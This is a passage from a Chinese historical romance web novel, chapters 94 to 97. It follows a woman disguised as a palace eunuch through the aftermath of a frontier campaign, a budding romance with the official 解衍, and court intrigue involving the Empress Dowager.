她去了军营之中的牢房。 在山鹰嘴找到白惜时的那一夜,辽东军营曾与刺客短兵相接,并生擒了几名刺客,却没料到那些刺客均口中**,在被捕后悉数服毒自尽,不过,留下了一个活口。 这个活口因动作慢了半拍,毒只服下一小半,便被人卡住牙关,抠了出来。 眼下军医正在全力救治,不过对外白惜时等人一律声称未留活口,她不得不防军营中仍有太后的眼线。 太后的手,伸的比她想象之中还要长。 解衍也给白惜时带来了京中最新的消息,祈王之死已查清,谋害他的是祈王的一位侍妾,而在祈王暴毙之后,这位侍妾甘愿陪葬,已香消玉殒。经蒋寅刺探,这侍妾的家人曾在太后亲信的手底下做事,祈王暴毙后,举家迁徙至江南,至今下落不明。 不过据解衍和蒋寅推测,应当是举家遇害。用家人威胁侍妾,在她舍命之后,又斩草除根将其家人全部谋害致死,此举不是一般的狠毒。 解衍助蒋寅向天子禀报了祈王、太后与定国公谋反或有牵连,皇帝得知后震怒又意外,起先并不尽信,但在重重证据面前,不得不看清他自登基后尊重侍奉的母后,或许才是对其皇位最为虎视眈眈之人。 眼下皇帝已派人暗中监视太后,但在太后所有亲信党羽尚未查清之前,明处尚未有大的动作,天子想要做的应当是一网打尽。以免像定国公之事一般,竟还留着这样大的两条漏网之鱼在身边而未知。 听闻小皇子现下也已回到母亲怡妃身边,白惜时顿觉安心不少,但又闻俞贵妃的孩子最终还是没有保住,在一个月前小产,御医断定今后难以再有身孕,而经受此次打击,贵妃的身体情况似有急转直下之势。 天子亦为此忧心不已。 思及此,白惜时长叹一口气,当初担心的情况还是发生了。 转眼见军医正在施针除毒,那刺客尚未恢复意识,白惜时走出牢狱,又去了一趟主帐。 滕烈已经醒了过来,这是白惜时今日听到的最好消息,但她到的不是时候,帐外守卫的亲兵告知,因军医嘱咐需卧榻静养,主将在方才服用完粥点汤药后,已重新睡下。 亲卫:“掌印,可要属下进去通传一声?主将方才醒来的时候还问到过您,想来此刻应当也没有睡着。” 白惜时一摇头,“算了,让他好好休息,我换个时间再来。” 只要滕烈安然无恙便是最好的消息,既然军医都有所嘱咐,她亦不便进去打扰。 与军士们共用了午饭之后,白惜时回到自己的营帐之中,没过一会解衍便来了,手中拿着的仍旧是盛着草药的瓷瓶。 又经历了一通内心不是那么平静的上药过程,白惜时在将腿从解衍身上收回来之际,问了一句,“咱家的伤口可以碰水吗?” 解衍:“今日之后便可。” 闻言一喜,白惜时立即道:“咱家下午想要沐浴。” 相比于睡眠,她更久没有做过的事便是好好洗过一回澡。特别是从山鹰嘴回来后,她腿上又添了伤,为了避免伤口进水每日只能用热水擦身,头发也是另洗。她知在军中需一切从简,但眼下解衍来了,战事又已平息,白惜时实在是不想再忍受这浑身的不适。 遂一圈圈放下裤腿,白惜时愉悦看向解衍,“你帮我提水,顺便在外头守着。” 在对方算得上殷切的注视下,解衍一点头,“好。” 辽东夜间太凉,营帐中也只是用简易的火盆取暖,为免夜间寒气入体,白惜时选择了在下午温度最高的时候沐浴,不过饶是如此,因担心她受凉,解衍还是多添了三个火盆,一时间将整个营帐烧得都有些热意上涌。 一帘之隔内的白惜时除去衣衫鞋袜,伸腿轻点水面试了下温度,继而才跨进浴桶,当周身肌肤都被温热的清水包围,她轻轻闭上眼,思绪放空,连日来的压力和疲惫仿佛都被水流一扫而空。 白惜时享受这难得的惬意时光,因而也洗的仔细又缓慢,撩起水将头发一点点打湿,又探身拿起皂角,在发间和身体上涂抹,水声不止,哗啦哗啦于营帐之内响起,白惜时将自己沉浸于一片宁静之中。 但对比之下,解衍显然不大宁静。 起先他手持书卷,身处外间预备用看些书来打发等待的时间,但随着水声起伏,男子看书的速度逐渐慢了下来。 这时候,白惜时的声音从里间传来,“水有些凉了。” 解衍下意识从背身的姿势回过头去,“浴桶旁另有热水,掌印可有看到?” “唔~看见了。” 继而便又是一阵更大的水声哗啦,白惜时起身出浴去加热水,然后透光的帘幕上便这么猝不及防的,勾勒出了一段女子才会有的玲珑曲线。 没想到帘幕会映出里头之人的影子。 解衍见状,骤然收回目光,木然地盯着面前的书本看了片刻,继而重新拿起,试图接着方才的内容看下去,不过试了两次之后都是徒劳,索性将书放下,单手捏了捏眉心,半晌之后,缓然吐出口气。 白惜时没顾及帘子会出现倒影之事,她就是单纯觉得沐浴到一半还要自己提热水甚是麻烦,再回到水中,突发奇想,她和解衍有一天是不是也会发展到对方能够大方走进来,帮她加热水的程度? 想想其实也不赖,至少不用自己动手。 思及此又低头看了一眼自己,身材也还可以,应当拿得出手? 啧~她在乌七八糟想些什么? 越想心跳越快,白惜时觉得应当是沐浴久了的缘由,遂后续加快了速度,将全身上下洗净,又用干巾帕将湿漉漉的头发擦干,白惜时换好衣衫便绕过帘幔,走了出去。 只不过一双鞋子因为方才换水,已然被浸透,走一步就落下一个湿鞋印,白惜时不欲将周遭弄的都是水,遂唤了一声背对着自己的男子,“解衍,帮我将床榻边的那双鞋拿来。” 刚刚沐浴完的女子,面上犹如覆了一层桃粉,中和了平日里的威势,黑发瀑布般披散于身后,仿若出水芙蓉。 男子只看了一眼便没有再看,走过去替她找鞋。 但放眼望过去,床榻边并未发现她口中所说之物,解衍又折了回来,“没有。” 白惜时:“就在那附近,你仔细找。” 果然不能指望男子找东西? 解衍这次视线在周遭都过了一遍,但仍未找到鞋,男子略一迟疑,不欲在她心中留下办事不力的印象,这回再折返时,他直接走到了白惜时的面前。 没提鞋的事,男子问她,“掌印可是要去案前?” “嗯。” 她确实换了鞋准备去案几前喝一杯茶,太热了,有些口渴。 “不用这般麻烦。” 得到白惜时肯定的回答后,男子随后跟了一句,紧接着在白惜时毫无预料的情况下,他双臂一抬便这般横过女子的后背和腿弯,将人直接原地抱了起来。 震惊于他的动作,白惜时威严的掌印当惯了一时不知如何面对,反应了反应后才于半途中冲着男子说了一声,“大胆!” 可能面上的桃粉未消削减了锐气,至少男子没有被她吓住,而是继续将她这般打横抱过去,最后放在了案几之上。 等白惜时坐好,解衍望向略显色厉内荏之人,不由眉眼含笑,又不想她真正恼怒,遂轻轻点头,很配合的应承下白惜时对他“大胆”的评价。 “掌印说的是。” 他胆子确实挺大的。 第95章 第95章 坐在案几上,白惜时很轻易便可望向床榻,确实没看见她所说的鞋子,这时候方想起来,那双鞋早前已经被她收进箱笼之中。 不怪解衍。 但白惜时没想到过这辈子还能被人打横抱起,此刻又被不算太规矩的置于案几之上,她强势惯了,这会便有些拉不下来脸。 心里瞎想归心里瞎想,碰上真格的,她其实没什么经验,面皮亦没想象之中的厚。 但她这人惯不会露怯,即便心跳有些快,面上亦要做出一副四平八稳的模样。 她开始围绕解衍那句“掌印说的是”做文章。 “咱家‘说的是’什么?”白惜时一边说一边侧过身去够茶水,手伸到一半,解衍已经为她拿过来,又倒入已经凉好的温水。 将茶盏递入她手中,解衍答道:“大胆。” 白惜时将里头的水喝干,慢条斯理盖上盖子,又问了一句,“哦,有多大胆?” 此问一出,解衍果然不接话了,只一双清透的眸子望向白惜时。 觉出自己占了上峰,白惜时心情舒畅,甚至放下茶盏后双腿交叠,整个上半身于案几之上微微后仰,就这么悠哉悠哉的欣赏解衍一副被问住的表情。 兴之所至,又抬起赤足点了对方一下,“怎么不说话?” 自己眼中一副稳操胜券的模样,于男子眼中,又是另外一番光景。 撩拨的厉害。 在解家未出事前,解衍也曾设想过那时的未来,他自认是对情爱之事不太热衷,定力也尚可,他会将主要精力放在朝堂,然后到了时候,听由族中安排定一门亲事。 他对会娶一个什么样的人从没有过期待想象,父母之命媒妁之言,娶谁好似都无甚差别,他循规蹈矩的按时间节点完成每一个应当完成的任务,婚后尽到应尽之责,与一女子相敬如宾。 但一切在解家的分崩离析后全然被推翻。 现下,望向眼前之人,他对想要携手一生之人有了具象,相敬如宾怕是也很有些困难,解衍高估了自己,于白惜时面前,他定力未见得有多好。 做不到相敬如宾。 比方说现在。 见解衍好半天仍没说话,白惜时得了些说不清道不明的趣味,好几个月未见,解衍变害羞了。 示意了眼后头的箱笼,“咱家方才记错了,鞋已被收进去,帮我拿过来罢。” 不为难他了。 但解衍听完却没动,还是这么盯着白惜时。 “去啊。” 闻言,解衍回头看了眼柜子,然后重新望向白惜时,摇头。 他摇头?举手之劳,他竟然不乐意? 白惜时作势就要跳下去自己拿,但解衍却顺势揽住她的腰,道了一句“地上凉”。 他还知道地上凉? 侧过头便想要与解衍掰扯,谁料一个字还未说出,张开的唇突然被人轻轻啄了一下。 ……这么的猝不及防。 白惜时未脱口的话咽了回去,随着“咕咚”一声吞咽声,在午后安静的帐内尤为明显,腰上的手臂也随着这一声越发收紧。 白惜时侧头望向男子。 这个角度,解衍能清晰看见她红唇上的纹路,形状饱满,解衍看得那么认真,低下头,又试探般地触碰了一下,随即分开。 四目相对,柔软的触感让两个人的呼吸均是一停,解衍观察着白惜时脸上的表情,继而在她的注视下,再一次贴了上去。 这一次没有立即分开,而是停留了片刻,温热的唇瓣粘合在一起,白惜时想要后退,但解衍很快倾身跟了上来,另一只手顺势扣住了她的后脑勺。 不再是气质温润的谦谦君子,男子深深看了身前之人一眼,继而不再克制收敛,含住她的双唇细细舔吮起来,在唇缝之中流连加深,辗转研磨间攻城略地,舌尖相触,湿热缠绵。 这是解衍自辽东见到白惜时的第一面便想要做的事,抱紧,拥吻,用行动告诉她,他对她的思念,他有他的占有欲。 不过那时候解衍没有这样做,时机不对。 现在,他不想再有所保留。 白惜时从最开始的怔愣、尝试,再到想要叫停,最后到投入沉溺,亲吻的水声从唇齿间溢出,让人觉得有些脸红,她不知道一个吻原来可以持续这么久,久到她不自觉就闭上了眼。 解衍亲的有点凶。 几个碳盆继续燃烧,温度居高不下,气息交融间无尽的情意与炙热在帐内蔓延,一切都是那么顺其自然,气氛也恰到好处,然而就是在这个时候,帐外突然传来了一声通传之音。 “掌印可在帐内?属下想与掌印再商议下金舒城之事。”是郭明的声音。 接吻骤停,唇瓣分开,白惜时闻声如梦初醒般推开解衍,整个人都显露出从未有过的乱,没有回答郭明的询问,而是与解衍大眼瞪小眼,又瞥了营帐眼入口,仿若做贼心虚。 怎么跟偷情似的? 然而都这个时候了,解衍竟还能,用拇指抹去她唇上的水渍,回身替白惜时去箱笼中取鞋。 短暂的平复之后,白惜时亦找到了该有的声音,清了清嗓子后,冷静道了一声,“咱家刚沐浴完,郭将军稍候。” 郭明“啊”了一声,恭声道:“那属下过一会再来。” 内宦沐浴与常人不同,毕竟少了个物件,郭明认识的好几个太监都对此事皆有避讳,因而很识趣的没再逗留,离开了。 被帐外守卫拦住时,郭明听闻距掌印沐浴已经过去半个时辰了,他还以为早就结束,因此才想询问一声,没想到掌印沐浴倒确实许久。 郭明离开,方才的一室旖旎随之散去,白惜时等穿上鞋后也不看解衍,跃下案几,拢起头发开始穿外衫。 暧昧被打破,理智回笼,白惜时浑身上下都有些不自然,一时竟不知该说些什么。 早知道亲完会这般尴尬便不亲了,她打死不会承认解衍其实还有点好亲? 男子去熄灭多余的炭盆。 再回来时发现白惜时已将一声行头穿戴整齐,此时见她比往常要略显单薄的身躯,突然问了一句,“为何不见掌印的金丝甲衣?” 已经许多天都没见过白惜时穿它。 白惜时叹了口气,“丢了。” “如何丢的?” “与滕烈逃亡时意外落水,丢在河里了。” 解衍听完眉峰一蹙,“所以滕烈已知道掌印的身份?” “嗯。” 见解衍表情实在凝重,白惜时又补充了一句,“不过他答应会替我守密,他也当是个言出必行之人。” “你用太担心。” 闻言抬眼,解衍问了白惜时一个问题,“掌印如何看待滕烈?” 白惜时认真思索片刻,给出了答案:“生死之交。” 解衍听完,理解的一点头,没有再说什么,但生死之交,多么厚重的四个字。 滕烈在白惜时心目中,有不可取代的一席之地。 解衍清楚的意识到这一点。 解衍离开后没多久,郭明便又来了。二人对金舒城后续的布防安排进行了一通商讨,继而到了傍晚,听闻滕烈已醒,二人匆匆赶往主帐。 去的时候,得知滕烈正在换药,白惜时本想于帐外等候,但耐不住亲兵未加阻拦,郭明就这么大喇喇走了进去,不仅他自己走进去,还催白惜时也快点。 此刻再不进去反而显得怪异。 人的心理可能就是这样,当滕烈什么都不知道的时候,白惜时亦能坦然面对,但当对方得知自己是女子,她也会有所回避。 毕竟滕烈这人还挺传统的,他应当也不想让她看到。 索性真进去了滕烈的药已经快要换完,身上缠着一圈又一圈的绷带,也只有亲眼瞧见才知滕烈伤势的触目惊心,白惜时看了两眼便移开视线,有一刀应当只差一点便会伤及心脉。 好险。 连郭明看得都忍不住破口大骂,“妈的,真没想到那朱文杰竟是奸细,被乱箭射死真他娘的死有余辜!害死我们多少兄弟。” “对了,查没查出那刺客到底受谁指派?” 整个军营当中,眼下除了白惜时、滕烈、解衍,其他人还不知此事出自太后的手笔。 滕烈换完药,又被人扶着躺了下来,闻言看了白惜时一眼,言简意赅答了句“没有。” 滕烈的话本来就少,此刻又受了重伤不便多言,剩下的时间主要是郭明和白惜时在说话,男子于床榻上听着,偶尔才会加入讨论两句。 郭明对带兵打仗很是有钻研精神,一时聊到兴起便忘记了时间,最后还是白惜时看时候差不多欲结束话题,他才晓得起身。 “主将,我们是不是吵到你休息了?” 滕烈:“我眼下睡不着,你们再聊会无妨,我也可解闷。” 郭明闻言,站起的身躯复又有坐下的趋势,若是旁人他必以为是场面话,但认识滕烈这么久,他还是第一次说这么长的句子挽留自己,看来当是真心实意。 但白惜时却很快跟了一句,“不了,指挥使当以静养为主,需得谨遵医嘱。” 说完白惜时一拱手,转身便欲告辞,这个时候滕烈从身后问了她一句,“听闻解衍已到辽东?” 白惜时回头,“是。指挥使尚在养伤,便没叫上他一起前来。” 按道理滕烈眼下是辽东大营主将,一切由他做主,京官入营,二人合该是要见一面的。 白惜时自然而然也以为滕烈问的是这个。 “嗯。” 闻言,似是药效发挥作用,滕烈缓缓闭上眼,闭上眼,便看不见提解衍时她眸中那一闪而过的光亮,亦可,隐藏他的情绪。 第96章 第96章 原巡抚陈越被问罪斩首后,新任巡抚已到达辽东,解衍此次前来便是奉命送新任巡抚赴上任,兼代传达天子抚慰前线将士书。 按例,巡抚属封疆大吏,由四品以上官员会推后,天子亲自任命,巡抚到地方赴任亦由吏部高级官员陪同,但这次天子选中的是解衍。 很明显,皇帝有重用培养之意。 解衍的腾镶左卫应当不会再持续太长时间。 对于这一结果,白惜时自然替他高兴,解衍本来就应当回到他该去的位置。 滕烈养伤期间,白惜时与郭明与新任巡抚做了事务上的交接,待到一个月后,滕烈基本痊愈,一行人也开始陆续收整行装,准备回京。 一晃几个月过去,来时风雪飘摇,此时已是春暖花开。 收整行装这种事白惜时本欲亲力亲为,但收拾到一半,解衍掀帘走进营帐,见白惜时忙活的额上起了一层薄汗,很自然的接替了白惜时手中的活,并塞给了她一袋核桃。 白惜时回到案几前坐下,问他,“哪来的?” “方才与巡抚一同回城,路上买的。” 闻言“唔”了一声,白惜时一边看着男子将箱笼归置整齐,一边砸开核桃,开始剥核桃肉吃。 既然解衍愿意代劳,她自然乐得轻松。 吃着吃着,见他动作利落,速度也快,想着等日后解衍穿回那一身官服,应当不会再有那么多机会进入内廷,白惜时突然调侃了一句,“不知解大人日后身居高位,可还能够这般不辞辛劳,替咱家分忧。” 解衍闻言,看了眼白惜时,辽东大局已定,近来事务少,白惜时已与他玩了多日类似的桥段。 有时候她是监军,他是被监军看上的军中小将,不能表现的顺从,需得宁死不屈。 有时候她是良家女子,他是强取豪夺的外派京官,她也宁死不屈。 总归白惜时一通“乱花渐欲迷人眼”的言行举动,解衍前两次宛若开了什么了不得的眼界,但后来才领会到一旦到动真格的,结局都是宁死不屈。 解衍要屈她也不会让他屈,还会得到一通代入不合理的点评。 白惜时这会子看上去又有趋势,解衍便配合的回了一句,“替掌印分忧是属下分内之责。” 白惜时一点头,又送了颗核桃仁入口,“这忠心表的不错,什么忧都能分吗?” 解衍一边干活一边顺着她往下说,“能分,公事私事属下皆可。” “哦?”白惜时:“重点说说私事。” 解衍将箱笼最上头一层铺满,再合上箱盖,直起身后停了一会才转过身来往回走,一边放下卷起的袖子,一边俯身双手撑在白惜时两侧,对准白惜时的唇亲了一下。 “就像这种。” 说完,男子摸了摸她的头发,又继续去收整剩下的随行物品。 …… 怎么像哄小孩似的? 有些敷衍。 下意识抿了抿唇,白惜时又砸开一个核桃,一边吃一边去观察解衍,没有任何不对,但她还是感觉解衍有心事。 即便言行举止均无懈可击,但二人相处久了,白惜时知道解衍善于伪装,毕竟谁能想到这般清隽温润的男子,本质上是有些阴郁的。 他一直在等解衍对她开口,但很显然,解衍没有要说的打算。 这么多日他也不觉憋得慌! 眼见男子又将另一个箱笼打开着手开始收整,白惜时拍了拍身上的核桃碎屑,瞅准时机走过去,一伸手将打开的箱笼重新合上,继而,坐了上去。 解衍看向她,“掌印?” 白惜时:“你有心事。” 解衍不语,正待摇头,白惜时又问:“心事可是因为咱家?” 解衍:“……不是。” “真话?” “真话。” 如此反倒开始叫白惜时好奇,其实原先她有了些猜测,猜测解衍的心事是因自己那日对滕烈“生死之交”的评价。 解衍没被父母、解家之人坚定的选择过,亲生父母将他过继,继母在夫君病故后亦抛下了他与妹妹,那个时候亲生父母又已和离,各自重新嫁娶,解衍与谢柔云进退两难。 妹妹可以哭,可以害怕,但是他不能露怯,他要抓住一切可以抓住的机会让自己和妹妹在解府有立足之地。然后他做到了,成了解家后辈中当之无愧的第一,但一切在解家轰然倒台之后又被打回原形。 流放路上,解家还是拿他当外人。 如此经历造就了解衍在亲密关系建立上的困难,他看似好相处,却实则难以与人建立亲密关系,但一旦建立了,也比旁人偏执,虽然他很少会表露出来。 白惜时自以为将解衍剖析的十分透彻,也足够了解他,但解衍眼下却告诉他“不是。” “那是因为什么?”白惜时问男子。 解衍缄默依旧,显然不欲告知对方。 白惜时等了一会,起身,“罢了,不想说便不说。” 既然这个心结与她无关,她亦不欲强人所难。 但就在二人擦身而过之际,男子还是抬手,握住了她的手腕。 然后就这样在男子晦涩的目光下,白惜时得知了解衍近来的困扰。 起初确实有一部分原因出自滕烈,但不至于叫解衍到有心事回避白惜时的地步。 症结是在解衍自己。 自白惜时那日与他开启那些类似巧取豪夺的桥段后,逐渐的,解衍竟生出一股执念,他开始起了真的要将白惜时强行控制在身边的执念,也开始做各种稀奇古怪的梦。 禁锢住她,不允许她看别人想别人,眼里只有自己。 他直觉这种倾向不对,也危险,亦知道此种执念不能再加深,所以再面对白惜时开这样的玩笑,会开始回避。 白惜时听完,眨了眨眼,“就因为这?” “是。”解衍惯不会拒绝白惜时,但这次还是开了口,“所以掌印日后还是不要再……” 继续那样的桥段。 理智告诉他当克制尊重,所以每次白惜时说停,他便会停,但内心深处有一种原始的本能在驱使着他,做一些白惜时可能会觉得不太尊重她的事。 白惜时:“所以你梦里,我是什么状态?” 解衍本不欲回答,但在白惜时的催促下,答了一句,“……宁死不屈。” “……” 长时间的一段沉默,白惜时与解衍两个人都没有说话,白惜时是在反思自己,说到底是她给了解衍一些刺激和误导。 她又不是贞节烈女,面对解衍,当然也不是真的宁死不屈。 白惜时:“你每次梦醒后,是什么感受?” 闻言,解衍又看了白惜时一眼,“……忏悔。” 白惜时抿唇,做一副严肃状,努力不要让对方看出来自己有些想笑。 两个人的亲密关系止步于亲吻,一个月来没有更进一步,究其原因确实是白惜时觉得还不是时候。 但她为什么去和解衍开那样多的玩笑?不是闲的,无外乎她也是喜欢面前这个人的,喜欢就会想要靠近,白惜时同样不能免俗。 不过辽东大营人多眼杂,随时都有可能像郭明那日般通传一声就要进来,她身份特殊,不想在这种时候冒风险。 所以撩拨归撩拨,常以“宁死不屈”收尾。 说到底,大概是她类似若即若离的态度叫解衍并不知晓,其实他已经是她坚定的选择。 但白惜时又确实不准备就这么告诉他,至少不是现在,她这个人还是有些在乎仪式感的,总得等到一个氛围还不错的时候。 不过不告诉他,亦不等同于让解衍“忏悔”,再说这有什么好忏悔?如果他忏悔,那她是不是也应当忏悔? 解衍与白惜时说完,此刻已重新去归置行装,等拿着一叠衣物过来准备放进箱笼,发现白惜时又坐了回去。 人压在上头,箱盖打不开。 解衍看了她一会,见白惜时没有要起身的迹象,她坐于左侧,男子试着从右侧抬起箱盖,将衣物塞进去。 但刚抬起一个边,白惜时便支着身体伸过手来,很快,又将抬起的缝隙按了回去。 她坐在箱笼之上,就这么好整以暇地望着解衍。 “掌印。”男子的声音有些低,概因白惜时眼下这般姿势对他来说也是一种诱惑。 “咱家困了,想要睡个午觉。”就像没听出他的变化,说着白惜时从箱笼上起身,走出几步,又回头对解衍道了一句,“进来替咱家更衣罢。” 说是更衣,但解衍只帮她褪下了外袍,剩下的便看着白惜时动作,没再贸然帮忙,不过到了后来,男子垂下眼,连看都没有再看了。 身上仍是那件常穿的白色寝衣,只不过卸下了束缚,白惜时走到解衍面前,停住,“为什么不敢看我?” 解衍抬眸,白色的寝衣不是很厚,有点透光。 喉头一滚,解衍又移开了视线。 见状轻飘飘看了他一眼,白惜时没再说什么,转身躺进了床榻之内。 “被子有些冷。”片刻后,她评价了一句。 解衍:“……可要去为掌印加些炭火?” “你若是觉得眼下要做的应当是加炭火,那便去加。” 白惜时没有反对他的提议,翻了个身,以背对着解衍,合上了眼。 一室安然,过了不知道多久,久到白惜时确实生出了些困意,这时候身后传来一阵悉索之声,继而,被子被掀开一角,床榻微微陷下去半边,多了一个人躺进被中。 很快,白惜时被人从后环住,一片炙热结实的胸膛贴向她的背。 白惜时侧过头,打量了他一眼,“怎么没穿上衣?” 解衍:“我以为掌印会喜欢。” 白惜时“哦?”了一声,“你难道不知咱家不喜人妄自揣度我的心意?” “那掌印便直接告诉我不喜。” 男性的气息密不透风的包裹了过来,他抵上她的唇,鼻尖相触,“说。掌印只要说出口,属下便退开。” 稍稍推了他一下,白惜时翻了个身,改为面朝向解衍。 没说喜欢也没说不喜,反倒是一只手就这么抚上了男子的肌理,缓缓游移,手感不错。 解衍垂眸一瞬不瞬地盯着她,深邃的眸子不再见往日清透,墨色渐浓。 然而就在男子想要再一次欺身吻过来之际,白惜时却伸出一根指,率先抵上他的唇,“这是在辽东,不可太过。” 解衍闻言,平复了片刻,继而修长的手指没入她的发,点了点头。 但白惜时得此允诺,手指仍没有撤去,解衍望进她漂亮又摄人的一双明眸。 白惜时靠近,“允许你先亲其他地方。” 话音刚落,掌心心下的肌肉瞬间紧绷,解衍声线亦带着哑,“掌印指的……是什么地方?” 轻挑了下眉,又蜻蜓点水般吻了吻男子的唇角,白惜时眼尾微微上勾,“自己想。” 第97章 第97章 大军启程回京。 回程的路上,白惜时依旧选择乘车,不过心情比来时松懈下来许多,亦有功夫欣赏沿途风景,偶尔马车坐累了,她也会下去跑一会马,回京势必又要忙碌起来,眼下是难得的清静。 滕烈因重伤初愈,如今大部分时间亦于马车之中休养,解衍与郭明骑马并行于大军前列。 郭明:“解大人,你说我方才对改良辽东屯田的提议若是禀于殿前,可会被天子采纳?” 解衍目光直直的望着前方,闻言“嗯”了一声。 “果真?”郭明看起来很高兴,“若是解大人也觉得行,那等到了京城后我便写封折子,不过文墨不是我的强项,到时候可能请解大人帮我润色润色?” 郭明等了半天,不见解衍回应,不由探过身子,“解大人?” 解衍似乎到了这时候才回过神,从记忆中抽离,侧首问了一句,“什么?” 郭明:“辽东屯田的事,折子递上去前还想请解大人指点一二。” 解衍恢复了正色,显然记得郭明先前便与他提及之事,客气道:“郭将军过谦了,将军的提议因地制宜,我亦认为可行。” “那这便是答应?” 解衍笑了起来,“若是将军信任。” “自然自然。” 郭明对这位传说中的探花郎印象颇佳,能文能武,长得好,关键品性也很不错,他乐得回程途中有个人作伴,概因滕烈、白惜时都在马车中居多,有了解衍,郭明这一路上也终于多了个可以说话解闷之人。 郭明说完正事,便开始闲聊,“解大人,我怎么觉着你近来总心不在焉?” 解衍:“有么?” “当然有,你刚才不就是明显岔神了。”郭明凑近,“在想什么?” 经他这么一问,方才忆起的画面又在脑海中重演,解衍不自觉带了些腼腆,“没什么。” 郭明神经粗,没看出男子此刻连耳廓都微微泛着红,又问了两句后便被解衍成功转移至另一个话题。 白惜时倚在马车之中看书,看了一会觉得眼睛发酸,掀开车帘去看外头的风景,这时候便遥遥望见马背上的解衍与郭明。 自然,白惜时也记起了在辽东军营最后那日之事。 两个人其实没有实质意义上的发生什么,但并不妨碍依旧脸红心跳、涟漪频生,解衍依旧是亲吻,只不过他似乎更喜欢另外一双地方。 接吻的时候男子会闭眼,其他的时候便不会,还时常一边欣赏白惜时,一边落下一个吻,再夸她漂亮。 即便是这种时候,白惜时也是会找茬的,问他,“有多漂亮?” 解衍:“最漂亮。” 雪腻酥香,尽态极妍。 白惜时:“最?你知不知道‘最’需要三个以上作比较?你还见过其他人?” 解衍反应还算快,“没有比较也知道惜时最漂亮。” 白惜时本还要再说什么,话到嘴边又停了下来,“……你叫我什么?” “惜时。” 唇角一勾,白惜时冲他摇了摇头。 双臂撑于白惜时两侧,解衍俯身望着此刻发丝有些凌乱的女子,眉眼间带了些锋芒,“不可以叫吗?魏廷川可以,我不可以这样叫?” 闻言,扬眉,轻飘飘瞥了他一眼,“哦,不装了?我还以为多大度呢,原来这么耿耿于怀。” “所以可以叫吗?”解衍撑着的手臂放了下来,望进白惜时的眼里。 白惜时:“你好重。” 不过她其实也更喜欢这样密实的肌肤相贴,因而在男子听到这句话想要支起身的时候,她抬手,环住了对方的脊背。 “回答我。”解衍抵着她的额头,目光晦暗,声线沉沉。 隐藏的独占欲在这一刻暴露的彻底。 白惜时却故意不答,“那我叫你什么?” “淮州。字淮州。”男子低声道。 …… 回忆到此处,收手放下车帘,白惜时在车中坐了许久,此刻亦有些腻了,遂起身下去活动活动筋骨。 只是没想到她走下马车没多久,滕烈也掀开了车帘。 男子较之前清减了一些,不过威势不减。 白惜时:“巧了,指挥使也出来透气?” 滕烈看向她,“是。” “多出来走一走也好,有助于你恢复。” 滕烈低眸,“听闻掌印的腿也被暗器所伤?” “哦,我那个是小伤,同你的不能比。眼下早已愈合,你瞧,没有任何妨碍。” 男子眼见确实如此,才一颔首,“那便好。” 行于大军前列的两人,变成了四个人。 郭明一看人都差不多到齐了,开始跃跃欲试,“不若我们来比试一场,以半个时辰为限,看谁路上打到的猎物多,就当晚上给兄弟们加餐了。” 此言一出,解衍与滕烈均未作答,看向第四个人。 白惜时:“输了如何,赢了又如何?” 郭明想了想,“输了便罚他下河给咱们摸鱼吃,如何?” 白惜时尚未作答,另外两道声线几乎同时传来,“不行!” 说完解衍与滕烈互看了一眼,一息不到,又各自移开。 一个冷淡,一个冰寒。 白惜时:“……” 郭明一脸费解,他这个惩罚算是温和,需知这个天气许多军士想要洗澡也都是直接跳进河里,这跟洗个凉水澡有什么区别? 滕烈、解衍为何如此强烈拒绝? 白惜时:“我是內宦身份不便,指挥使亦受伤初愈,郭将军换一个罢。” 如此一解释郭明才发现是自己未考虑周全,连忙改口,“那……输的那个为赢的那个做一件事,什么事由赢家说了算?” 白惜时:“可。” 郭明:“掌印,您想与谁比试?” 这个问题一抛出,三道视线又同时落在了白惜时的身上。 目光掠过三人,白惜时:“就你吧,郭将军。” 解衍必定会让着她,比试起来没意思,而滕烈又还在休养之中,不适合过度跑马,如此比较下来,确实与郭明比试才最为刺激。 郭明闻言,欣然应下,继而在一声“开始”的呼喊之下,二人持缰策马,一前一后奔了出去。 那负责计时的小将待二人跑远,兴致勃勃回过头来,“主将、解大人,您二位是否也要比试一场?” 结果,两个人宛如同时失聪,一个目不斜视观探前方路途,一个不紧不慢整理马鞍缰绳。 小将,“……” 他是说了什么特别愚蠢的话吗? 白惜时与郭明最后的比试结果,还是郭明略胜一筹。郭明自小行军,在野外的生活经验充足,因而在打野味上自然也比白惜时有经验许多。 白惜时就是图个乐子,顺带想要畅快的跑一会马,回来之后便也愿赌服输,“说罢,郭将军想要咱家做什么?” 郭明的目的在比试,其实也不在什么赌注彩头,遂直言道:“属下还没想好,等想好了再告知掌印不迟。” 白惜时一点头,“别怕我不认账,想好了随时告诉咱家。” 这一夜行军路上的晚饭比往日丰富了许多,野味亦很得将士们的喜欢,连白惜时都多吃了一碗饭。不过回到马车后她便觉得不大舒服,跑马的时候起了一身的热汗,此刻便觉得黏腻。 但没黏腻多久,解衍便端着一盆用于擦身的热水,长腿一迈,跨入了车厢之内。 他果然知道她最需要什么。 白惜时脱下外衫,又给解衍使了个眼色,示意他出去替她望风。 解衍本已转身,但当余光瞥见女子衣襟微敞的那一刻,以及锁骨下方蔓延的红痕,呼吸骤然一顿,耳根亦红了个彻底。 顺着他的视线低头看了一眼,白惜时眼波一挑,“怎么,在欣赏你的杰作?” 男子闻言,好半天没再说话,最后在下车前,对白惜时道了一句,“……下次我会注意。” 下次? 望着重新闭上的车帘,白惜时无声一扬唇,那可得看她心情。 待解衍再上车时,白惜时已经擦拭完毕,衣衫亦穿戴齐整,此刻正卷起裘裤涂抹润肤香膏。这是得知解衍此次前往辽东,孟姑姑让他一起捎过来的。 整个人清爽了,心情也越发愉悦,北方干燥,白惜时偶尔会觉得腿有些痒,因而有条件的情况下亦想保持双腿的润滑。 双手抹上香膏,将腿架于矮几之上,继而自下而上,用掌心按压抚匀、细细涂抹……如此往复。 黑发美人,长睫低垂,纤长的手指于光洁的小腿上游移。 她涂抹了多久,解衍便看了多久。 直到盖好香膏的盖子,白惜时一抬眼,才发现解衍正凝眸望向自己。 白惜时收回腿,“你也想来点?” 解衍看着他,摇头,“不想。” “那你想做什么?” 解衍起先什么都没说,后来在白惜时的逼问下,才答了一句,“想,回暖阁。” “哦?”此刻已领悟了他的意思,白惜时却仍要明知故问:“回暖阁做什么?” 男子眸底深深,缄默不语,这次不管白惜时再如何威逼利诱,他都不说话了。 — 本以为回程的路途都会一直维持这样轻松的氛围到达京城,直到半个月后,千闵派人快马加鞭给白惜时递来了一个消息——俞贵妃薨逝。 得此消息,白惜时神色骤然一凝,继而舍弃马车,以最快的速度往京城回奔而去。 第98章 